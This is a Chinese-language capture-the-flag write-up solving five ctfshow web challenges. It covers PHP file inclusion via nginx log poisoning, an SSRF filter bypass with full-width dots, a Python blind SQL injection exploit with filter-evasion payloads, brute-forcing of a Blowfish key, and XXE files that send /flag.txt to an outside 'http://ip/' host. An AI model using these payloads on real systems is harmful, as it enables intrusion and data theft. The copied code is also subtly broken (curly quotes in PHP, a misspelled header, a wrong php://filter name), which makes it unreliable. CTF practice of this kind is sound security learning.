签到_观己
给了源码
<?php
if(isset($_GET[‘file‘])){
$file = $_GET[‘file‘];
if(preg_match(‘/php/i‘, $file)){
die(‘error‘);
}else{
include($file);
}
}else{
highlight_file(__FILE__);
}
?>
文件包含,过滤了php,测试一下都能包含啥
这玩意能包含,日志文件应该也可以
请求头有写是nginx,所以日志目录应该是/var/log/nginx/access.log
因为在url上写一句话会被url编码,所以在请求头里写
然后执行命令
剩下的就是找flag了
web1_观字
给了源码
<?php
#flag in http://192.168.7.68/flag
if(isset($_GET[‘url‘])){
$url = $_GET[‘url‘];
$protocol = substr($url, 0,7);
if($protocol!=‘http://‘){
die(‘仅限http协议访问‘);
}
if(preg_match(‘/\.|\;|\||\<|\>|\*|\%|\^|\(|\)|\#|\@|\!|\`|\~|\+|\‘|\"|\.|\,|\?|\[|\]|\{|\}|\!|\&|\$|0/‘, $url)){
die(‘仅限域名地址访问‘);
}
system(‘curl ‘.$url);
}
提示了flag位置,没有过滤“。”,可以直接用“。”代替“.”
payload:?url=http://192。168。7。68/flag
web2_观星
简单测试下,是数字型的sql注入,union被过滤了,考虑盲注
黑名单过滤了不少东西,像“and”,“=”,“‘”,“||”,“"”,“空格”,“union”,“sleep”,“ascii”,“like”,“,”都没了
ascii没了可以ord,逗号没了也能绕
exp:
import requests
headers = {"User Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0"}
flag=""
for i in range(1,50):
for j in list(range(44,58)) + list(range(97,126)):
url = "http://be32a501-004f-481f-908a-f53bd1649fd2.chall.ctf.show/index.php?id="
#payload = "0/**/or/**/ord(substr((database())/**/from/**/{i}/**/for/**/1))/**/in/**/({j})/**/#".format(i=i,j=j)
#payload = "0/**/or/**/ord(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema/**/in/**/(database()))/**/from/**/{i}/**/for/**/1))/**/in/**/({j})/**/#".format(i=i, j=j)
#payload = "0/**/or/**/ord(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name/**/in/**/(0x666c6167))/**/from/**/{i}/**/for/**/1))/**/in/**/({j})/**/#".format(i=i, j=j)
payload = "0/**/or/**/ord(substr((select/**/flag/**/from/**/flag)/**/from/**/{i}/**/for/**/1))/**/in/**/({j})/**/#".format(i=i, j=j)
html=requests.get(headers=headers,url=url+payload).text
if "By Rudyard Kipling" in html:
flag+=chr(j)
print(flag)
运行结果
web3_观图
进去以后有个图片
图片来自这个php,进去看到源码
<?php
//$key = substr(md5(‘ctfshow‘.rand()),3,8);
//flag in config.php
include(‘config.php‘);
if(isset($_GET[‘image‘])){
$image=$_GET[‘image‘];
$str = openssl_decrypt($image, ‘bf-ecb‘, $key);
if(file_exists($str)){
header(‘content-type:image/gif‘);
echo file_get_contents($str);
}
}else{
highlight_file(__FILE__);
}
?>
ctfshow拼接一个随机数然后计算MD5,然后截取中间部分是key,但是rand()最大只有32768,可以爆破出来
(用一下羽师傅的脚本)
/*author 羽 */
<?php
for($i=0;$i<32768;$i++){
$key = substr(md5(‘ctfshow‘.$i),3,8);
$image="Z6Ilu83MIDw=";
$str = openssl_decrypt($image, ‘bf-ecb‘, $key);
if(strpos($str,"gif") or strpos($str,"jpg") or strpos($str,"png")){
print($str." ");
print($i);
break;
}
}
?>
运行结果
知道key了,直接算一下config.php就可以了
<?php
$key = substr(md5(‘ctfshow27347‘),3,8);
$image="config.php";
$str = openssl_encrypt($image, ‘bf-ecb‘, $key);
echo $str;
?>
web4_观心
主页面是个小游戏,点占卜会请求api.php
F12里提示flag在/flag.txt
其中给api发送的数据有api和city两个部分
看师傅们wp,发现是XXE漏洞,需要再vps上写下面两个文件
test.xml
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE test [
<!ENTITY % remote SYSTEM "http://ip/test.dtd">
%remote;%int;%send; ]>
<reset><login>bee</login><secret>Any bugs?</secret></reset>
test.dtd
<!ENTITY % p1 SYSTEM "php://filter/read=convert-base64.encode/resource=/flag.txt">
<!ENTITY % p2 "<!ENTITY xxe SYSTEM ‘http://ip/pass=%p1;‘>">
%p2;
然后访问就可以了